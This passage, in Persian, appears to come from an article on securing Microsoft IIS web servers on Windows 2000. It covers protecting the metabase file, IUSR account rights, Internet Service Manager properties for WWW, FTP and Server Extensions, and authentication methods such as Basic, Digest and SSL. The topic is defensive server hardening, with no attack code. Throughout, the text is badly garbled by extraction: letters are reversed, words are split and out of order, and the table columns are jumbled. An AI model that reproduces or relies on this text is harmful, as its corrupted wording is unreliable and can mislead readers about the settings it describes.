 ،حداکثر پهنای باند قابل دسترس MaxBandwidthخصلت " مثلا.  است  د ها ی مشابهي نمونه های متفاوتی از کل     خصلت خاص برای  

دد وب تعم                    یک سرو یرا برای    راکنش های متع ه ت د ب ده مشخص و می توان د   ی ميس دهن اب . اب اد        يمت داری مق ه نگه ادر ب اوت  یس ، ق ر متف
MaxBandwidth ت های وب می باشد یک از سای برای هر .  

تقرار . ره می گردد  ي ذخ  \ winnt\system32\ineterv و در آدرس     Metabase.binل خاص با نام     یک فا یس در   يمتاب  IIS  پس از اس
ر روی  " س مجددا ي ، متابIISرفعال شدن يپس از غ.  در حافظه مستقر می گردد سک خوانده شده ویز از روی ديس نيدر حافظه ، متاب   ب

ردد     رهيسک ذخ ی اجراء خواهد شد بر روی د      IISس بدفعاتی که    يمتاب. ( ره خواهد شد    يسک ذخ ید ه نقش ح        ) .  می گ ا توجه ب ل ی اتی فا ي ب
راو  ي ابی به آن دارای اهم    ي و کنترل دست     ، حفاظت   IISفوق برای برنامه     وق ،     ی که فا يدر صورت  . ان است    ت ف ا    ل ف ( گر   یل د ی ک فا ی ب

د شد      يي متاثر از تغ  " عای سر IISبرنامه  .  بمخاطره خواهد افتاد     IISح برنامه   ين گردد، عملکرد صح   یگزی جا  )نامعتبر ن ياول . (رات خواه
ده ،  یق سرو ی مربوطه از طرسی سرو ن مواردی ممکن استيدر چن) . رات اجراء می گردد    يي پس از اعمال تغ    IISمرتبه ای که     س دهن
ر روی پارت   Metabsat.binل ی  می گردد که فا    شنهاديپ. اجراء نشود  وع  ي  ب ات امن    رهي  ذخNTFSشننی از ن تفاده از امکان ا اس ی  ي و ب ت

رای فا يمجوزهای پ.  آن را حفاظت کرد ٢٠٠٠ندوز یو وق ، ی ش فرض ب  . می باشد   Administrator Full Access و System  ل ف
ا ی ر و ييجاد و ضرورتی به تغیل فوق را ایتی قابل قبول در رابطه با فاي امن local Administrators و Systemابی به يت دستیمحدود

    .دی نخواهد بود یمات جدياضافه نمودن تنظ

ردد    شنهاديپ ل فوق ،    یتی در رابطه با فا    يجاد پوسته حفاظتی مطلوبتر امن    یا بمنظور وق  ی  فا   می گ اربران غ    ب   ل ف  مخفی    ر مجاز  ي رای ک
 متوقف و  IISست در ابتدا برنامه ین منظور می با   یبد. د  یل فوق ر ا مضاعف نما       یت فا يز می تواند امن   يل ن یر نام فا  ييا تغ یانتقال و   . شود  

    .ر اعمال نمود ی ز جستریید ريرات لازم را در کلييتغ ل فوق ، یا انتقال فایر نام و ييپس از تغ

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetMgr\Parameters

ام فا ی را که شامل نام درا لیر کامل فايجاد و مسی ا MetadataFileد فوق با نام ي برای کل  REG_SZد  یک مقدار جد  یدر ادامه    ل ی و و ن
دا و يس را پيل متابیر خصوص نام و آدرس فا آگاهی لازم دIISب برنامه ين ترتیبد. م ي نمائ س معرفیيل متابید فای ، بعنوان نام جد     است

  . در زمان را اندازی از آن استفاده خواهد کرد 

   IISت برنامه يلی در رابطه با امنيشنهادات تکميپ

اده سازی ممانعت  ياز را نصب و از نصب برنامه ها و ابزارهای پي و عناصر مورد ن   IIS"  صرفا IISس دهنده   یبر روی سرو   •
  . د یبعمل آ

  . د ير فعال نمائير ضروری را غيس های غیروتمام س •
ا    • ه های   یگز ،   IUSER_Computername  accountدر رابطه ب  Password و User cannot change passwordن

Never Expiresد ي را انتخاب و فعال نمائ .  
ه شبکه وجود نداشته باشد ،            ) anonymous( به ورود افراد گمنام       لییکه تما يدر صورت  •  مربوطه را  accountست ی  بامی  ب

  ) . IUSER_Computername(ر فعال نمود يغ
  . د ي مربوطه را مشخص نمائaccountجاد و ی اlocal admin groupsت یبرای هر وب سا •
 IUSER_Computernameر ياز و مجاز نظي های مورد نaccount" جاد و صرفای اlocal groupک یبرای کاربران وب  •

  . د يرا در آن فعال نمائ
  . د ي را حذف نمائIUSER_Computername مربوط به accountگر، یاز تمام گروه های د •
ا و      "  را حذف و صرفا    Inetpubرکتوری  ی مربوط به دا   NTFSتمام مجوزهای    • روه ه سبت     accountگ ه آن ن  های مجاز را ب

  . د يده
رای دای • ی ب اختار منطق وری ایک س اد نمائیرکت ثلا. د يج رای" م ای ی، فا ستایاات ی محتو ب  ،  Html و  asp   ،scripts ل ه

  . گر مرتبط گردندیکديک ساختار مناسب بیجاد و با یگری ایرکتوری دیاسامی دا
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  . د ياز اعمال نمائي را در صورت ن رکتوری های بر روی ساختار داNTFSمجوزهای لازم  •
  . د يحذف نمائ ند ، ی اجراء می نماپت هائی که نمونه برنامه هائی رایرکتوری های نمونه و اسکریتمام دا •
اربر اعطاء و امکان     Log on locallyمجوز   • ه ک  Access this computer from و   log on as a batch service ب

the  network از کاربر سلب گردد  .  

ه     يدر این قسمت به بررسی نحوه تنظ    اوت برنام ا رعا Internet Services Managerم خصلت های متف سائل امن تی  ب ی خواه  ي م م يت
  .پرداخت 

سول را     يک برنامه رابط کاربر گرافی، ) Microsoft Management Console: MMC(تی ماکروسافت یریکنسول مد ام کن ا ن کی ب
د يط لازم بمنظور انجام تمام عمل يهدف از ارائه کنسول فوق، ارائه مح      .د  یارائه می نما   د  ی تی از طریریات م سول م ام ( ت است یریق کن  تم

د يعمل سول م ابعی از کن ترس، ت ل دس ندیریات قاب ی باش وع فرآیا) .ت م ا، ین ن د ه ود ي نامSnap-insن ی ش ود دارای MMC. ده م  خ
ديه ار م ه رفت ی محیریچگون وده ول رای يتی نب راهم می نماSnap-insط لازم ب د.دی را ف دين ترتیب رل م ردی محیریب کنت ط يتی و راهب

ام  Snap-insک ی ، IISان نصب برنامه در زم. مربوطه ، متمرکز می گردد  ه و در   )ISM(Internet Service Manager با ن  ارائ
  :م ير استفاده می کنیر زي از مسISMبمنظور فعال نمودن برنامه . ستم قرار خواهد گرفت يران سیار مدياخت

Start => Programs => Administrative Tools =>Internet Service Manager  

  . را نشان می دهد ISM  صفحه اصلی برنامه ری ز شکل 

  

  )ISM(Internet Service Managerمعرفی برنامه 

  
ار              MMCک کنسول   ی د،  یت خود را آغاز می نما     ي فعال  IISکه برنامه   يزمان وط   Snap-in اجرای خود را آغاز و بصورت خودک  مرب
ه  ی نما  ISMب ستقر م ه م ال و در حافظ وط ب  . د ی را فع فحه مرب ت  ی ، دارای دو گزServer Propertiesه ص ه اس  Internet  :ن

Information Services )    ه بصورت پ ال است    يک ه     . Server Extensionsو ) ش فرض فع وط ب ه   IISدر صفحه مرب  ، سه جعب
  : دارد  محاوره ای عمده وجود

Master Properties , Enable Bandwidth Throttling , Computer MIME Map  

د   یکه قصد ا  یدرموارد اد چن ا   یج ر روی سرو     ین وب س ده را داشته باش    یت ب س    ی م هر  يم ، تنظ يس دهن وق، ب د ي ار مفيک از خصلت های ف
سبت داده می شود        یت های موجود بر روی سرو     یک به تمام وب سا    يف شده، بصورت اتومات   یخصلت های تعر  . خواهد بود    ( س دهنده ،ن

ر روی سرو   یک از سایکربندی هر ي به پ  ب در زمان مربوط   ين ترت یبد) . توارث د شد      یت های موجود ب ده ،صرفه جوئی خواه . س دهن
وارد دلخواه   یک از سایکربندی هر ي باشند ، می توان در زمان پ مات خاص خوديازمند تنظيت ها نیکه برخی از سايدر صورت  ت ها ، م

  . را اعمال نمود 

 :د ير را دنبال نمائیمراحل ز  ، IISس دهنده یربوط به سروابی به جعبه محاوره ای خصلت اصلی ميبمنظور دست

  . د يانتخاب نمائ  ، ISM را در برنامه IISس دهنده ینام سرو •
  . د ي را انتخاب نمائPropertiesنه ی گزActionق منوی یاز طر •
ه  ی را از طر FTPا  ی و   WWWس  یسرو • دی  ي را بمنظور پ Editق منوی مربوطه انتخاب و دکم    Master Propertiesکربن

  . د يس مربوطه ، فعال نمائیسرو
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   WWWس يسرو

  
ا   ير پیم مقادي ، بمنظور تنظMaster Properties  از جعبه محاوره ای ام س رای تم ر روی سرو    یش فرض ب ده  یت های موجود ب س دهن

ه وب      میکربندی عمويمی توان پ  ، Master Properties   در صفحهEditنه یبا انتخاب گز. استفاده می شود  وط ب  خصلت های مرب
ردد        یچهار گز . نه های متفاوتی وجود دارد      یدر صفحه فوق، گز   .  را انجام داد      )ت ها   یوب سا ( تیسا وط می گ ائی مرب ه خصلت ه ه ب ن

  : ت می باشند یک وب سایتی در رابطه با عملکرد ير امنيکه دارای تاث

Web site ,Operators , Home Directory , Directory Security .  

  

• Web site Tab . اوره ای ،یدر ا ه مح ا آEnable Loggingن جعب تی تنه ی اس سائل امن تم ا م ه ب وده و ي ک رتبط ب ی م ت
  نه فوق ، اطلاعات متفاوتی در رابطه با استفاده کنندگان ازیگز) شدن ( با فعال بودن . ز فعال می باشد يش فرض نيبصورت پ
  . س دهنده ثبت می گردد یروی سروت های موجود بر یتمام وب سا
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• Operators Tab .   ا و وان گروهه وق، می ت ان ف تفاده از امک ا اس ام accountا یب ا مجوز خاص را بمنظور انج ائی ب  ه
ده ،  یکه سرو ي در صورت   .س دهنده ، مشخص کرد      یت های موجود بر روی سرو     یتی در رابطه با تمام سا     یریات مد يعمل س دهن

سئول شتيم دبانی ايت پ ایز چن د،می باین وب س ته باش ده داش ایت را برعه ر وب س رای ه ور  یت، یست ب زا بمنظ روه مج ک گ
  . جاد شود یات ، ایت محتویریمد

• Home Directory Tab  .نه مربوط به ثبت ین محل می توان ، گزیدر ا)log( ت ی سا  ملاقات های انجام شده در رابطه با
ان را  ين اطمی نه ثبت ملاقات کنندگان، می توان همواره ای گز با فعال شدن.  نمود س دهنده را فعالیهای موجود بر روی سرو    ن

دگان خود،   يجاد می گردند ، بصورت پ    یا" ت هائی که بعدا   یت ها و حتی سا    یداشت که تمام سا    ش فرص قادر به ثبت ملاقات کنن
زاحم  يه برای تشخيثبت ملاقات کنندگان، از اصول اول   . خواهند بود    ار م ا   يص رفت ا وب س ود    ین در رابطه ب د ب ا خواه ا  . ت ه ب

ا          یت سرو یرین مکان ، مد   ینه فوق در ا   یم گز يتنظ رای هر س ه ب دارد ک ه ا یس دهنده وب ضرورتی ن اد می گردد،گز  یتی ک ه یج   ن
ان حالت پ    ی  می با  Directory Browsing و Read , Writeمجوزهای . د یثبت ملاقات کنندگان را فعال نما ه هم ش يست ب

ه در آ    یبرای هر سا  . (ن محل نخواهد بود     یم آنها در ا   ي تنظ  مانده و ضرورتی به   يقفرض با  ده ا  یتی ک وان         ین ردد ، می ت اد می گ ج
رد     يم و پ  ياست های موجود تنظ       يمجوزهای مربوطه را متناسب با س      دی ک ا       Readمجوز    ) .کربن شاهده س ه    ی امکان م ت را ب

وز   دگان ، مج ات کنن تن اطلاع Writeملاق ان نوش ا  امک ه س تی ک وز   یات در فهرس ت و مج ده اس صب ش  Directoryت ن
Browsing    راهم می نما             یل های موجود در     یستی از تمام فا   ي امکان مشاهده ل اربر، ف رای ک شنهاد ي پ.دی ک فهرست خاص را ب

ام گز Master Propertiesمی گردد ، در صفحه  وق غ   ی ، تم ه های ف د   ي ن ال گردن  Homeدر صفحه  ) . عدم انتخاب   ( ر فع
Directory  ردد در ا      ي پ. ز وجود دارد     ي ن  ست مربوط به مجوزهای اجراء    ي، ل دار آن       ی شنهاد می گ  در نظر   Noneن مقطع مق
رای هر        ين عمل یاز به اختصاص مجوزهای فوق ، می توان ا        يدر صورت ن  . گرفته شود    رای ب ک از ی ات را بصورت خاص ب

   .س دهنده انجام داد یت های موجود بر روی سرویوب سا
• Directoty Security Tab . اربران ينکه محدوده عملید اعتبار با توجه به ایيروش های تا ت   (  اتی و مجاز ک رل دس ابی يکنت

د، دارای  ی را مشخص می نما       ) پت ها یل هائی خاص ، فهرست ها و اسکر       یبه فا  ند   ی ت ز ي  اهم  ن م و انتخاب  يتنظ .ادی می باش
وع       یيروش های تا   ا    د اعتبار کاربران به ن تفاده از س ردد        یاس ر می گ ا  ی آ( ت ب ر روی ا   یا س ) . نترانت است ؟  یا ای نترنت و  یت ب

 Anonymouse access  هيق ناحیرا از طر  Editنه ی گز Authentication Methodsبمنظور مشاهده صفحه مربوط به 
and authentications control مجوز . د ي، انتخاب نمائAnonymous Access ش فرض در  ي به بصورت پ   ، می تواند

ه  یت های موجود بر روی سرو     یار در تمام وب سا    ياخت ردد    ی  ا ای  و  س دهنده قرارگرفت ا سلب گ که يدر صورت . ن امکان از آنه
وق، غ یست گز ی استفاده می گردد، می با      )ندوزیک شبکه مبتنی بر و    ی (  ک شبکه داخلی  یا  ینترانت و   یق ا یت از طر  یسا ر ي نه ف

ان  يست با استفاده از نام و رمز عبور مربوطه به شبکه وارد تا زمیب کاربران شبکه ، می با   ي ترت نیبد. فعال گردد    نه استفاده آن
ا    یق ایس دهنده از طر  یکه سرو يدر صورت . از امکانات موجود فراهم گردد       ر وب س ردد، اکث ا امکان   ینترنت استفاده می گ ت ه

صورتيدست ی نماAnonymous  ابی ب راهم م د ی را ف ت. ن زء روش دس ه روش تاAnonymouseابی يبج ار یي ، از س د اعتب
  : ز می توان استفاده کرد يگر نید

 روش حات يتوض
ور در طول روش فوق، امکان حرکت و انتقال نام و رمز عب

املا صورت ک بکه را ب ی" ش راهم م فاف ف تن ش مشخص و م
د. د ی نما ائی  یب ي ن ترتیب ه شناس ادر ب اتی ق زاحم اطلاع  ک م

accountت خواهد بودی های معتبر، بمنظور نفوذ در سا . 

Basic 
Authentication 

رای سرو     وق، ب دگان  یروش ف Windows Domainس دهن
ه دری با ا  Basic Authentication، مشابه    اوت است ک ن تف

فاف ،   تن ش صور م ور ب ز عب ام و رم تفاده از ن ل اس کیمقاب
ور   ز عب دهHashرم طح اعتبا   ش اء س ور ارتق نجی بمنظ رس

رد       ائی   " ن روش صرفا   ی ا.ارسال می گ ه توسط مرورگره  ک
HTTP 1.1تفاده می باشد     یت می نما ی  را حما ل اس د، قاب  ( ن

سی سرو   جهت استفاده از روش فوق،     ) .IE5ر مرورگر   ينظ
ده  ی با  IISدهن دوز ی و Domainک یست در یم ٢٠٠٠ن

ور در فا          ر رویی قرار داشته و رمزهای عب ی و ب ل های متن
د    ي  ذخ  Domainتترل کننده   کن ابرا .ره گردن دهیبن رل کنن ن کنت

Domain من و حفاظت گردد یست بدرستی ای ، می با . 

Digest 
authentication 

شابه روش  وطIIS 4.0 در Challange/Respones  م  مرب
ه و دوز یب تNTن رفا.  اس وق، ص قیاز طر" روش ف

ودمرورگرهای وب شرکت ماکروسافت قابل استفاده خواه        د ب

Integrated 
windows 
authentication 
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 . 

ام وب    ک راه حل جامع را معرفی   ی  و نمی توان      بوده ن شده   یتی تدو ياست های امن  يک روش اعتبار سنجی ، مبتنی برس      یانتخاب   ا تم  ت
  . ند یت نمايت ها از آن تبعیسا

   FTPس يسرو

  
ه سرو      ن ی، دارای گز    FTPمات خصلت های    يصفحه اصلی مربوط به تنظ     سبت ب ری ن بمنظور  .  است  WWWس یه های بمراتب کمت
 . د ي را فعال نمائEdit را انتخاب و در ادامه دکمه FTPس ی سرو IIS Server Propertiesق یاز طر فعال نمودن صفحه فوق ،

  

• FTP Site Tab . شنهاد می گردد که امکان يپLoggingا اگر در آ    ی در ا ال ت ده و در رابطه ب   ین بخش فع ا ی ا ن ن ی ت ایک س
وع سرو  .م ید، با مشکلاتی مواجه نگرد یموضوع فراموش گرد   راه      FTPس یبا توجه به ن ان مجاز بهم داد ارتباطات همزم  ، تع

  . م کرد ين بخش تنظی را می توان در اtimeoutزمان 
• Security Tab .  س یمشابه سروwww    ت وان امکان دس رای سرو  Anonymousابی ي ، می ت ن بخش  ی  در اFTPس ی را ب

ردد وتما      یق ا یت از طر  یکه سا يدر صورت . مشخص نمود    تفاده می گ ت     ی نترنت اس ال شدن مجوز دس ه فع  anonymousابی يل ب
وان آن را در ا   وجود داشته باشد ،     ود  ين بخش تنظ  ی می ت ه امکان     ي پ. م نم ردد ک  Allow only anonymousشنهاد می گ

connection   ردد اب گ رد .  انتخ شابه گزAllow IIS to control passwordعملک ه ی م  Enable automaticن
password synchronization در نسخه شماره چهار IIS ور موجود در      یب امکان  ي ن ترتیبد.  است کسان سازی رمز عب

اربران    Computer Managementن صفحه با مقدار موجود در    یا ور ک رل رمز عب د       ، بمنظور کنت ام خواه ا انج روه ه  و گ
 نصب شده است موجود IISنی که بر روی آن يست بر روی ماش   ی می با  IUSR_computername مربوط به    account. شد  

 Domainف شده در    یک نام و رمز عبور تعر     یاز   .  )ر داد يي تغ  د آن را  یش فرض بوده و نبا    ي فوق بصورت پ    تيوضع.(باشد  
ور یو دوز بمنظ ردد  FTPن ی گ تفاده نم وق، ش يدوم.  اس ودن  يامل لن بخش صفحه ف شخص نم ور م  FTP siteستی بمنظ

operators   ایمعرفی و مشخص نمودن گروه و       .  است  account        تی یریات مد ي مربوطه با مجوزهای لازم بمنظور انجام عمل
ان پ .ن بخش انجام می شودیس دهنده در ای موجود بر روی سرو  FTPس دهندگان   یبرای تمام سرو   دی  يدر زم ا ی کربن ت، یک س

بلا        ياز ل  (  د شده یت جد یک مشمول سا  يبصورت اتومات  جاد شده،   ی ا  accountگروه و    ه ق اد  یا" ست گروه و کاربران مجاز ک ج
روه و  یست تعريو می توان به ل) ز استفاده کرد يد نیت جدیشده اند ، می توان در رابطه با سا    اربران جد ی ف شده ، گ دی را ی ا ک

ود      یاضافه و    د    س دهن یکه سرو يدر صورت  . ا حذف نم ه چن ا یده ، مسئول پاسخگوئی ب ردد   ي  است ، پ FTPت ین س شنهاد می گ
  . ت برای مسئول مربوطه فراهم گردد یات سایت محتویریجاد تا امکان مدیتی جداگانه ایریک گروه مدی ت، یبرای هر سا 

• Home Directory Tab . تی وجود داردينه مرتبط با مسائل امنیک گزی" ن محل صرفایدر ا:  Log visits . وق،   یگز ه ف ن
د   ين وضعينه فوق به هم  یشنهاد می گردد گز   يپ. ش فرض فعال است     يخوشبختانه بصورت پ   اقی بمان دگان    . ت ب ات کنن ثبت ملاق

  . . ر موارد مشابه در رابطه با مهاجمان اطلاعاتی است ین و سايص رفتار مزاحميت روشی مناسب بمنظور تشخیسا
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 ١١٦    صفحه

• Directory Security Tab  .ت یف محدود ی خش امکان تعر ن بیدر ا ر اساس  يت دس ن ی در ا.وجود دارد    ، TCP/IP  ابی ب
ام کامپ     یابی به سرو  يامکان دست  راستا می توان،     رای تم راهم  يس دهنده را ب ا ف ود    ی ا ای  و  وتره ا سلب نم در . ن امکان را از آنه

ام کامپ ي امکان دستستیت می بایت سایرینترنت استفاده می گردد، مدیق ایس دهنده از طر  یکه سرو يصورت ا يابی به تم  را  وتره
وان از رو     یت بصورت ا  یکه سا يدر صورت ) ش فرض   يمقدار پ ( د  یانتخاب نما  کرد اشاره شده    ینترانت استفاده می گردد ، می ت

ا يستی از کاربران و گروهها ی مجاز را بمنظور دست       يا ل ینترنت استفاده و    یدر رابطه با ا    ود   یابی به س ن يدر چن . ت مشخص نم
  . کاربران و گروه های مجاز مشخص می گردند  ، ) Except(ست مربوطه ي انتخاب و در لDenied Accessنه یحالتی، گز

Server Property Server Extensions    

  
 ،امکان نشراطلاعات از راه دور را فراهم می IIS.  بر می گردد Server Extensions به Master Propertiesن بخش صفحه يدوم
د .  مناسب است    FrontPageبرای برنامه    ژگی فوق،   یو. دیمان ه ا       ی   بي ن ترت یب ادر ب ف، ق اد تغ یک مول ا   يي ج ک ی رات لازم در رابطه ب

ی  يت فوق از لحاظ امن يوضع. س دهنده ،از راه دور می باشد    یصفحه وب و ارسال آن بر روی سرو        شمار می رود   ی ک ری ت در . سک ب
ام داد    ی بهره برداری از و ا بمنظورمات لازم رين بخش می توان تنظ یا وق، انج ه های موجود در ا   یگز. ژگی ف سائل     ی ن ه م ه ب ن بخش ک

ند، در ناح يامن ی باش رتبط م ی م دPermissionه يت رار دارن تفاده از. ق ی با ی و در صورت اس وق، م ی ف ای یست گزیژگ ه ه  Logن
authoring actions  ,Require SSL for authoring و Manage Permissinos manually فعال گردند  .  

  

• Log authoring actions .  ودن گز ال نم اب و فع ا انتخ ده    یب ال کنن رد ارس ا ف ه ب وعی در رابط ات متن وق ، اطلاع ه ف ن
  . گر، ثبت می گردد یزبان از راه دور و موارد دينام وب م نام ارسال کننده ، زمان ارسال، : رياطلاعات ، نظ

• Manage permissions manually . د يتنظ ر ي نظ ( FrontPage server extensionتی یریمات مربوط به ابزارهای م
FronPage MMC (ه تغ    یبنابرا. د یر فعال می نمايرا غ ادر ب وق ، ق ه    يمات امن ير و اصلاح تنظ يي ن ابزارهای ف وط ب ی مرب ت

ان از ا يبمنظور اطم. ت انتخاب شده نخواهند بود یسا راد د  ین د ( گر  ینکه اف ا ی و ت یریم اربران  یا س مات  ير تنظيي امکان تغ ) ر ک
ستم از برنامه های مربوطه،     يتی س يمات امن يفعال تا امکان تنظ    نه فوق،   یگز" ه می گردد حتما   يتی را نخواهند داشت ، توص     يامن

    .سلب گردد  
• Require SSL for authoring . تفاده از  ینه فوق ، نشر اطلاعات برروی سایبا انتخاب گز ام  SSLپروتکل  ت، با اس  انج

  . م بود يتی را شاهد خواهيدوارکننده از لحاظ امنيک سطح امیو 
• Allow authors to upload Executables . د   یا ه م ه اسکر    ران مربوطه ین امکان را ب د داد ک ا و  ی خواه ل ی ا فای پت ه

  . ر فعال شده باقی بماند يست غینه فوق می بایگز. ند یس دهنده ، ارسال نمایهای اجرائی را برای اجراء بر روی سرو

  خلاصه 
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ت مسائل ی را با رعاServer Extension و WWW ,FTPس ی در رابطه با سرو Master Propertiesمات ير خلاصه تنظیجدول ز

  :منی نشان می دهد یا

  WWWشنهادی برای خصلت های اصلی يمات پيتنظ
Web site Tab  Enable logging  

Home directory Tab 

Disable  Read, Write, Directory browsing 
options 
Enable Log visits 
None = Execute Permissions drop down box 

Directory security 
Tab  

If  will NOT allow Anonymous access, Disable 
Anonymous access Else Enable it. 

  FTPشنهادی برای خصلت های اصلی يمات پيتنظ

FTP site Tab  

Set  number of connections for max users on FTP 
server 
Set maximum seconds for timeout , 600 seconds is 
reasonable 
Enable logging  

Home directory 
Tab Enable  Log visits  

Security 
Accounts  Tab  

Enable  Allow Anonymous Connections 
Enable  Allow only anonymous connections 

  Server Extensionsشنهادی برای خصلت های اصلی يمات پيتنظ
Enable Log authoring actions 
Enable Require SSL for authoring 
Enable manage permissions manually 
Disable Allow authors to upload executable  

  . م پرداخت يتی خواهيت مسائل امنی با رعاIISس های متفاوت یروت سیریکربندی و مدي به بررسی نحوه پ ن مقالهیدر بخش سوم ا

    ابیيروش های کنترل دست

  
دل امن ین سطح ا ياول  ی در م ی  يمن ت  IISت ه سرو ي ، امکان دس ر اساس آدرس های    یابی ب ده وب ب  Internet Domainا ی  و IPس دهن

Name      توان ، آدرس های     ن راستا می  یدر ا . رندگان است يس گ ی سرو  مربوط به درخواست های   IP ائی خاص   ي ماش  ا اسامی ی  و ن ه
ردد       يا امکان دست  یس دهنده وب فراهم و      یابی آنان به سرو   ينه دست ي تا زم   را مشخص ،   ان سلب گ ان در   . ابی از آن ک از  ی افت هر     یدر زم

سته های   ه پ     ی  و IP اطلاعاتی ، آدرس   ب ا توجه ب ان ب ام آن ام شده در   يا ن دی انج  IP address and Domain name" بخش    کربن
Restrictions " ، ی اس س   بررس ر اس ای تعر ي و ب ت ه د    یاس د ش ه خواه ل لازم ارائ ده ، عکس العم وق در بخش  یگز. ( ف ش ه ف ن

Directory Security Tab ای سرو اوره ای خصلت ه ه مح ه جعب وط ب ود دارد wwwس ی مرب ای يزمان).  ، وج ه از آدرس ه  IPک
ردد ، برخی از سرو         ابی است يبمنظور کنترل دست   دگان وب ، ممکن است از طر         يس گ یفاده می گ ده    یک سرو  ی ق  ی رن ا ی  و   Proxyس دهن

رای سرو  ی  بسته های اطلاعاتی در   IPطی آدرس های ین شرا يند، در چن  یدا می نما  يابی پ يس دهنده وب دست   یروال ، به سرو   یفا س یافتی ب
  . روال ، ارسال خواهند شد یا فای و Proxyدهنده 

ه سرو    ي کنترل دست   اده سازی برخی از روش های     يپبمنظور   وان        یابی ب ده وب ، می ت ائی نظ       س دهن وژی ه  SSL(Secureر  ي  از تکنول
Sockets Layer (ز استفاده کرد يکی ، نيو امضاء الکترون .SSL ، ر   ی نقطه به نقطه خصوصی ،    ک کانال ارتباطیی کپارچه و معتب

اربر و     ی   تیکی ، بمنظور بررسی هو    ياز امضاء الکترون  . د  یجاد می نما  یرا ا  ده و  یک سرو ی ا  ی ک ک دگان وب و  یا سرو ی س دهن س دهن
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ازی دوسو ر س ا بمنظور معتب ل ( ه یمرورگره ضم) متقاب ال صفحات وي، ت ا ، ی  ن صحت در ارس ود در آنه ارچگی اطلاعات موج کپ
  . استفاده می گردد 

    ديشناسائی و تائ

  
  .  استفاده کرد  IISنه موجود در یمی توان از چهار گزد کاربران ، يبمنظور شناسائی و تائ

  

• Anonymouse Access  . داولتر وق ، مت تین گزیروش ف رای دس ه ب ه ين رویابی ب ده وب استیک س د IIS. س دهن ن ی ، ب
اد  یش فرض، ا   ي بصورت پ    را  IWAM_Computername و    IUSR_Computername هائی با نام     accountمنظور   ج
  : ر خواهد بود ی فوق ، دارای مجوزهای زaccount. دیمی نما

Log on locally , access this computer from network  and  log as a  batch job 

ت     • ابع سرو      يکاربران در زمان دس ه من ر روی وب،بصورت اتومات      یابی ب ده ب ه شبکه وارد    accountک توسط  ي س دهن وق ، ب  ف
ا    یجه به مجوزهای تعر   در ادامه کاربران با تو    . خواهند شد  ت    accountف شده در رابطه ب ه دس ادر ب وق ، ق ابع موجود   ي ف ابی من
ردد ، مجوزهای    ي پ. ر داد يي تغEditنه ی در نظر گرفته شده را می توان با استفاده از گز          accountنام  . خواهند بود  شنهاد می گ

Log on as a batch job و access this computer from network ا    ، در ردد    accountرابطه ب وق حذف گ در (  ف
 ) . که ضرورتی به استفاده از آنان وجود ندارد يصورت

  
ردد ، مجوزهای    ) Reboot( مجدد  ستم راه اندازیيا سیراه اندازی و "  ، متوقف و مجدداIISس یکه سرويزمان: نکته   Log onمی گ

as a batch job و access this computer from the network رای ای  accout ، ب  و IUSR_Computername ه
IWAM_Computername  در نظر گرفته خواهد شد  "  ، مجددا)Restore . (  ر حذف  ي که تاکيدر صورت وق وجود     د ب  مجوزهای ف

د ، ته باش وان  داش ی ت وان ید را ای جدLocal user accountک ی م اد و آن را بعن رض ي پaccountج رای  Anonymouseش ف  ب
ه   Anonymouse access and authentication controlبخش  .(  در نظر گرفت   IISس یسرو  وط ب  Directory Security مرب
Tab رو رو  Account Tabا ی و wwwس ی س ه س وط ب ام عمل  ) . FTPس ی مرب س از انج وان   يپ ی ت وق ، م ات ف

IUSR_Computername،  را حذف کرد  .  

• Basic Authenticationام و  ی در ا. ند یت می نمایورگرهای وب موجود ، از روش فوق حماتمامی مر" بای ، تقر ن روش ، ن
ردد     ) Clear text(رمز عبور کاربر بصورت متن  د . ، ارسال می گ شخ   يهی است در چن  یب واردی امکان ت ص و کشف  ين م

ر   ي که تاک يدر صورت . ند ، وجود خواهد داشت      یتور می نما  يک موجود در شبکه را مان     يکه تراف یاطلاعات ارسالی برای افراد    د ب
 .  استفاده گردد SSLشنهاد می گردد که بهمراه آن از ياستفاده از روش فوق وجود داشته باشد ، پ

 

ا روش  SSLب ي ترک • د داد    ي  ، امکان رهگBasic Authentication ب اهش خواه د. ری و کشف اطلاعات ارسالی را ک ن یب
 :ر دنبال گردد یمنظور لازم است مراحل ز
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   Server Certificateک یاستفاده از :  اول مرحله

  
  ابی به منابع يمن در زمان دستیک کانال ایاستفاده از : مرحله دوم 

  
وم  ه س ودن : مرحل ال نم ودن ي و غBasic authenticationفع ال نم  Integrated Windows و Anonymouseرفع

authenticationت مورد نظری برای سا .  

• Digest Authentication  روش فوق امکاناتی مشابه ،Basic Authentication     اوتی بمنظور ی از روش متف ه ول  را ارائ
تفاده می نما           ده ، اطلاعاتی را      یسرو . د  ی ارسال اطلاعات حساس و معتبر ، اس راه       س دهن اربر بهم ور ک ام و رمز عب    شامل ن

ردد        ( Hash  کی   گر و  یاطلاعات اضافه د   رای سرو    ) محاسبه می گ ده يس گیرا ب ه .  ارسال می دارد    رن  ، Hash  در ادام
د ،  ی  می نما    افت یس دهنده اطلاعات را در    یکه سرو يزمان. س دهنده ارسال می گردد      یر اطلاعات اضافه برای سرو    یبهمراه سا 

ا       hash  کهيدر صورت .  را بدست می آورد      Hashک  یب و   يآنان را با نام و رمز عبور ترک         مطابقت   گریکد ی های مربوطه ب
د ،   ير روش ها غیکه روش فوق فعال و سايدر صورت. د می گردديند ، کاربر تائیانم ال گردن ا pop up boxک ی ر فع ش ی ، نم

اربر می با ود رایو ک ور خ ز عب ام و رم ا ست ن ه س ده و . د یت مشخص نمای جهت ورود ب وق ، بصورت رمزش اطلاعات ف
وق یبمنظور فعال نمودن و. ره خواهند شد يوارونه ذخ د ژگی ف ن ی  را در اpassword policyک ی ست ی ران شبکه می با  ی ، م
تفاده   Password policy  فی در صورت عدم تعر  .  روش فوق ، فراهم گردد  ف تا امکان استفاده ازیرابطه تعر  ، امکان اس

  : ستی می با Password Policyبمنظور فعال نمودن . از روش فوق، وجود نخواهد داشت 

  
دوز  یدر و  | Computer Configuration|Windows Settings | Security Settings | Account Policies ، ٢٠٠٠ن

Password policy   ه  ی و گز  را انتخاب  Store Passwords using reversible encryption for all users in theن
domain    ال است      ي ش فرض غ   ينه فوق بصورت پ   یگز. (  ، فعال گردد ا   ) . ر فع وق  يل شدن س پس از فع اربر   ي و زمان است ف که ک

ردد   ي جاد گردد ، رمز عبور بصورت رمز شده و وارونه ذخ ید ا ی جد Accountک  یا  ی و    رييا نام خود را تغ    یرمز عبور و     ره می گ
 .  

• Integrated Windows Authentication وق ر   ، روش ف ی ب اری مبتن ور ي بمنظور تائHashing از رمزنگ ز عب د رم
